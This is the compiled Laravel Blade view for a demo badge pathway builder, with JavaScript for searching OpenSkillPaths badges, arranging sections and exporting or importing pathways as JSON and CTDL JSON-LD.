if (!e.target.closest('.section-rule-indicator')) {
container.querySelectorAll('.rule-dropdown.show').forEach(d => d.classList.remove('show'));
container.querySelectorAll('.rule-dropdown-toggle.open').forEach(t => t.classList.remove('open'));
}
if (!e.target.closest('.pathway-mode-toggle')) {
container.querySelector('#sequentialToggle')?.classList.remove('open');
container.querySelector('#pathwayModeDropdown')?.classList.remove('show');
}
});
}
// =============================================
// Badge Picker
// =============================================
const badgePickerModal = document.getElementById('badgePickerModal');
const searchInput = document.getElementById('badge-search-input');
const loadingEl = document.getElementById('badge-picker-loading');
const errorEl = document.getElementById('badge-picker-error');
const errorMsgEl = document.getElementById('badge-picker-error-message');
const resultsEl = document.getElementById('badge-picker-results');
const emptyEl = document.getElementById('badge-picker-empty');
const paginationEl = document.getElementById('badge-picker-pagination');
const prevBtn = document.getElementById('badge-picker-prev');
const nextBtn = document.getElementById('badge-picker-next');
const pageInfoEl = document.getElementById('badge-picker-page-info');
let currentPickerTarget = null;
let currentOffset = 0;
let currentQuery = '';
let totalResults = 0;
const limit = 12;
let searchTimeout = null;
let parentModal = null;
function openBadgePicker(target) {
currentPickerTarget = target;
currentOffset = 0;
currentQuery = '';
searchInput.value = '';
if (target.parentModalEl) {
parentModal = bootstrap.Modal.getInstance(target.parentModalEl);
if (parentModal) parentModal.hide();
setTimeout(() => {
new bootstrap.Modal(badgePickerModal).show();
searchOpenSkillPaths('');
}, 150);
} else {
parentModal = null;
new bootstrap.Modal(badgePickerModal).show();
searchOpenSkillPaths('');
}
}
searchInput.addEventListener('input', function() {
clearTimeout(searchTimeout);
searchTimeout = setTimeout(() => {
currentOffset = 0;
currentQuery = this.value;
searchOpenSkillPaths(currentQuery);
}, 300);
});
prevBtn.addEventListener('click', () => {
if (currentOffset > 0) { currentOffset -= limit; searchOpenSkillPaths(currentQuery); }
});
nextBtn.addEventListener('click', () => {
if (currentOffset + limit < totalResults) { currentOffset += limit; searchOpenSkillPaths(currentQuery); }
});
badgePickerModal.addEventListener('hidden.bs.modal', function() {
if (parentModal) {
setTimeout(() => { parentModal.show(); parentModal = null; }, 150);
}
});
function showLoading() {
loadingEl.style.display = 'block';
resultsEl.style.display = 'none';
emptyEl.style.display = 'none';
errorEl.style.display = 'none';
paginationEl.style.display = 'none';
}
function showError(message) {
loadingEl.style.display = 'none';
resultsEl.style.display = 'none';
emptyEl.style.display = 'none';
paginationEl.style.display = 'none';
errorMsgEl.textContent = message;
errorEl.style.display = 'block';
}
function showResults(badges, meta) {
loadingEl.style.display = 'none';
errorEl.style.display = 'none';
if (badges.length === 0) {
resultsEl.style.display = 'none';
paginationEl.style.display = 'none';
emptyEl.style.display = 'block';
return;
}
emptyEl.style.display = 'none';
resultsEl.style.display = 'grid';
resultsEl.innerHTML = badges.map(badge => `
<div class="badge-picker-item"
title="${escapeHtml(badge.name)}${badge.issuer?.name ? ' — ' + escapeHtml(badge.issuer.name) : ''}"
data-achievement-id="${escapeHtml(badge.achievement_id)}"
data-name="${escapeHtml(badge.name)}"
data-image="${escapeHtml(badge.image_url || '')}"
data-issuer-name="${escapeHtml(badge.issuer?.name || '')}">
<img src="${badge.image_url || PLACEHOLDER}" alt="${escapeHtml(badge.name)}" onerror="this.src='${PLACEHOLDER}'">
<div class="badge-name">${escapeHtml(badge.name)}</div>
<div class="badge-issuer">${escapeHtml(badge.issuer?.name || '')}</div>
</div>
`).join('');
resultsEl.querySelectorAll('.badge-picker-item').forEach(item => {
item.addEventListener('click', () => selectBadge(item));
});
totalResults = meta.total || badges.length;
if (totalResults > limit) {
paginationEl.style.display = 'flex';
prevBtn.disabled = currentOffset === 0;
nextBtn.disabled = currentOffset + limit >= totalResults;
const start = currentOffset + 1;
const end = Math.min(currentOffset + limit, totalResults);
pageInfoEl.textContent = `${start}-${end} of ${totalResults}`;
} else {
paginationEl.style.display = 'none';
}
}
function searchOpenSkillPaths(query) {
showLoading();
const params = new URLSearchParams({ limit: limit, offset: currentOffset });
if (query) params.set('q', query);
fetch('/api/pathways/badge-classes?' + params)
.then(r => r.json())
.then(data => {
if (!data.success) { showError(data.error || 'Failed to search OpenSkillPaths'); return; }
const badges = (data.data || []).map(b => ({
achievement_id: b.identifier,
name: b.name,
image_url: b.image || null,
issuer: { name: b.recognizedBy?.name || b.issuer?.name || '' },
}));
showResults(badges, data.meta || {});
})
.catch(() => showError('Failed to connect to OpenSkillPaths'));
}
function selectBadge(item) {
const badge = {
achievementId: item.dataset.achievementId,
title: item.dataset.name,
imageUrl: item.dataset.image || null,
issuer: { name: item.dataset.issuerName || '' },
};
bootstrap.Modal.getInstance(badgePickerModal).hide();
if (currentPickerTarget && currentPickerTarget.directMode) {
if (currentPickerTarget.createSection) {
addSectionWithBadge(badge, currentPickerTarget.afterSectionId);
} else {
addBadgeToSection(currentPickerTarget.sectionId, badge);
}
return;
}
if (currentPickerTarget && currentPickerTarget.masterMode) {
state.masterBadge = {
achievementId: badge.achievementId,
title: badge.title,
imageUrl: badge.imageUrl,
};
// Also fill the modal fields
document.getElementById('master-achievement-id').value = badge.achievementId || '';
document.getElementById('master-badge-title').value = badge.title || '';
const img = document.getElementById('master-preview-img');
if (img) {
img.src = badge.imageUrl || PLACEHOLDER;
img.classList.toggle('placeholder', !badge.imageUrl);
}
const status = document.getElementById('master-preview-status');
if (status) { status.textContent = 'Badge selected'; status.className = 'badge-preview-status success'; }
}
}
function addBadgeToSection(sectionId, badge) {
const section = state.sections.find(s => s.id === sectionId);
if (!section) return;
section.badges.push({
id: state.nextBadgeId++,
achievementId: badge.achievementId,
title: badge.title,
imageUrl: badge.imageUrl,
issuer: badge.issuer || {},
isOptional: false,
position: section.badges.length,
});
saveState();
render();
}
function addSectionWithBadge(badge, afterSectionId) {
const newSection = {
id: state.nextSectionId++,
title: 'Required Badges',
description: '',
ruleType: 'all',
ruleCount: null,
position: 0,
badges: [{
id: state.nextBadgeId++,
achievementId: badge.achievementId,
title: badge.title,
imageUrl: badge.imageUrl,
issuer: badge.issuer || {},
isOptional: false,
position: 0,
}],
};
if (afterSectionId) {
const idx = state.sections.findIndex(s => s.id === afterSectionId);
state.sections.splice(idx + 1, 0, newSection);
} else {
state.sections.push(newSection);
}
// Recalculate positions
state.sections.forEach((s, i) => s.position = i);
saveState();
render();
}
// =============================================
// Add Section Button (bottom +)
// =============================================
document.getElementById('add-section-btn').addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
openBadgePicker({
directMode: true,
createSection: true,
afterSectionId: null,
});
});
// =============================================
// Master Badge Modal
// =============================================
document.getElementById('master-browse-btn').addEventListener('click', function(e) {
e.preventDefault();
openBadgePicker({
masterMode: true,
parentModalEl: document.getElementById('masterBadgeModal'),
});
});
document.getElementById('saveMasterBadgeBtn').addEventListener('click', function() {
state.masterBadge = {
achievementId: document.getElementById('master-achievement-id').value.trim() || null,
title: document.getElementById('master-badge-title').value.trim() || null,
imageUrl: document.getElementById('master-preview-img').classList.contains('placeholder')
? null
: document.getElementById('master-preview-img').src,
};
saveState();
bootstrap.Modal.getInstance(document.getElementById('masterBadgeModal')).hide();
render();
});
// Populate master badge modal when shown
document.getElementById('masterBadgeModal').addEventListener('show.bs.modal', function() {
const mb = state.masterBadge;
document.getElementById('master-achievement-id').value = mb.achievementId || '';
document.getElementById('master-badge-title').value = mb.title || '';
const img = document.getElementById('master-preview-img');
if (mb.imageUrl) {
img.src = mb.imageUrl;
img.classList.remove('placeholder');
} else {
img.src = PLACEHOLDER;
img.classList.add('placeholder');
}
document.getElementById('master-preview-status').textContent = '';
});
// =============================================
// Settings
// =============================================
document.getElementById('pathway-title').addEventListener('input', function() {
state.title = this.value;
saveState();
});
document.getElementById('saveSettingsBtn').addEventListener('click', function() {
state.title = document.getElementById('settings-title').value.trim() || 'My Pathway';
state.description = document.getElementById('settings-description').value.trim();
saveState();
document.getElementById('pathway-title').value = state.title;
bootstrap.Offcanvas.getInstance(document.getElementById('settingsPanel')).hide();
});
// =============================================
// Reset
// =============================================
document.getElementById('resetBtn').addEventListener('click', function() {
if (!confirm('Reset pathway? This will clear all badges and sections.')) return;
localStorage.removeItem('demo-pathway-builder');
state = JSON.parse(JSON.stringify(DEFAULT_STATE));
render();
});
// =============================================
// Export
// =============================================
document.getElementById('exportPathwayBtn').addEventListener('click', function() {
const pathway = {
schemaVersion: '1.0',
exportedAt: new Date().toISOString(),
exportedFrom: 'emaji-demo',
title: state.title,
description: state.description,
isSequential: state.isSequential,
masterBadge: state.masterBadge,
sections: state.sections.map(s => ({
position: s.position,
ruleType: s.ruleType,
ruleCount: s.ruleCount,
badges: s.badges.map(b => ({
achievementId: b.achievementId,
title: b.title,
description: b.description || '',
imageUrl: b.imageUrl,
issuer: b.issuer || {},
isOptional: b.isOptional,
position: b.position,
}))
}))
};
const jsonStr = JSON.stringify(pathway, null, 2);
const blob = new Blob([jsonStr], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const filename = (state.title || 'pathway').toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, '') + '-pathway.json';
const a = document.createElement('a');
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
});
// =============================================
// Export CTDL
// =============================================
document.getElementById('exportCtdlBtn').addEventListener('click', function() {
function ruleTypeToLogicType(ruleType) {
if (ruleType === 'one_of' || ruleType === 'n_of_m') return 'OR';
return 'AND';
}
const destinationId = '_:dest';
const destinationComponent = {
'@id': destinationId,
'@type': 'ceterms:CredentialComponent',
...(state.masterBadge?.title ? { 'ceterms:name': { 'en': state.masterBadge.title } } : {}),
'ceterms:targetCredential': { '@id': state.masterBadge?.achievementId ?? '' },
};
const sectionComponents = state.sections.map((sec, i) => {
const condition = {
'@type': 'ceterms:ComponentCondition',
'ceterms:logicTypeType': { '@id': `logicType:${ruleTypeToLogicType(sec.ruleType)}` },
'ceterms:targetComponent': sec.badges.map(b => ({ '@id': b.achievementId })),
};
if (sec.ruleType === 'n_of_m' && sec.ruleCount != null) {
condition['ceterms:minValue'] = sec.ruleCount;
}
return {
'@id': `_:section-${i}`,
'@type': 'ceterms:CredentialComponent',
...(sec.title ? { 'ceterms:name': { 'en': sec.title } } : {}),
...(sec.description ? { 'ceterms:description': { 'en': sec.description } } : {}),
'ceterms:hasCondition': condition,
};
});
const ctdl = {
'@context': {
'ceterms': 'https://purl.org/ctdl/terms/',
'logicType': 'https://purl.org/ctdl/vocabs/logicType/',
},
'@type': 'ceterms:Pathway',
'ceterms:name': { 'en': state.title },
...(state.description ? { 'ceterms:description': { 'en': state.description } } : {}),
'ceterms:isSequential': state.isSequential ?? false,
'ceterms:hasDestinationComponent': { '@id': destinationId },
'ceterms:hasChild': [destinationComponent, ...sectionComponents],
};
const jsonStr = JSON.stringify(ctdl, null, 2);
const blob = new Blob([jsonStr], { type: 'application/ld+json' });
const url = URL.createObjectURL(blob);
const filename = (state.title || 'pathway').toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, '') + '-ctdl.jsonld';
const a = document.createElement('a');
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
});
// =============================================
// Import
// =============================================
document.getElementById('importPathwayInput').addEventListener('change', function(e) {
const file = e.target.files[0];
if (!file) return;
const reader = new FileReader();
reader.onload = function(ev) {
try {
const imported = JSON.parse(ev.target.result);
if (!imported.sections || !Array.isArray(imported.sections)) {
alert('Invalid pathway file: missing sections');
return;
}
// Map imported data to state
state.title = imported.title || 'Imported Pathway';
state.description = imported.description || '';
state.isSequential = imported.isSequential || false;
state.masterBadge = imported.masterBadge || { achievementId: null, title: null, imageUrl: null };
state.sections = imported.sections.map(s => ({
id: state.nextSectionId++,
title: s.title || 'Required Badges',
description: s.description || '',
ruleType: s.ruleType || 'all',
ruleCount: s.ruleCount || null,
position: s.position || 0,
badges: (s.badges || []).map(b => ({
id: state.nextBadgeId++,
achievementId: b.achievementId,
title: b.title,
description: b.description || '',
imageUrl: b.imageUrl,
issuer: b.issuer || {},
isOptional: b.isOptional || false,
position: b.position || 0,
}))
}));
saveState();
render();
} catch (err) {
alert('Failed to parse pathway file: ' + err.message);
}
};
reader.readAsText(file);
this.value = ''; // Reset input
});
// =============================================
// Curved Connectors
// =============================================
function drawCurvedConnectors() {
const isSequential = state.isSequential;
document.querySelectorAll('.curved-connector-container').forEach(container => {
const svg = container.querySelector('.curved-connector-svg');
const toSectionId = container.dataset.toSection;
const isMasterConnector = container.classList.contains('master-connector');
const addBtn = container.querySelector('.connector-add-btn');
const toRow = document.querySelector(`.badge-row[data-section-id="${toSectionId}"]`);
if (!toRow) return;
const toCards = toRow.querySelectorAll('.badge-card');
if (toCards.length === 0) return;
const containerRect = container.getBoundingClientRect();
svg.innerHTML = '';
let startX, startY;
if (isMasterConnector) {
startX = containerRect.width / 2;
startY = 0;
} else if (addBtn) {
const btnRect = addBtn.getBoundingClientRect();
startX = btnRect.left + btnRect.width / 2 - containerRect.left;
startY = btnRect.bottom - containerRect.top;
} else {
startX = containerRect.width / 2;
startY = 0;
}
const toPoints = Array.from(toCards).map(card => {
const rect = card.getBoundingClientRect();
return { x: rect.left + rect.width / 2 - containerRect.left, y: containerRect.height };
});
const height = containerRect.height;
toPoints.forEach(toPoint => {
const path = document.createElementNS('http://www.w3.org/2000/svg', 'path');
const endX = toPoint.x;
const endY = isSequential ? height - 10 : height;
const verticalSpace = endY - startY;
const cp1Y = startY + verticalSpace * 0.5;
const cp2Y = startY + verticalSpace * 0.7;
path.setAttribute('d', `M ${startX} ${startY} C ${startX} ${cp1Y}, ${endX} ${cp2Y}, ${endX} ${endY}`);
svg.appendChild(path);
if (isSequential) {
const arrow = document.createElementNS('http://www.w3.org/2000/svg', 'polygon');
const arrowSize = 8;
arrow.setAttribute('points',
`${endX - arrowSize/2},${endY + arrowSize} ${endX},${endY} ${endX + arrowSize/2},${endY + arrowSize}`
);
arrow.classList.add('arrow-up');
svg.appendChild(arrow);
}
});
});
}
window.addEventListener('resize', drawCurvedConnectors);
// =============================================
// Utility
// =============================================
function escapeHtml(text) {
if (!text) return '';
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
// Initial render
render();
});
</script>
<?php $__env->stopPush(); ?>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/demo/pathway-builder.blade.php ENDPATH**/ ?>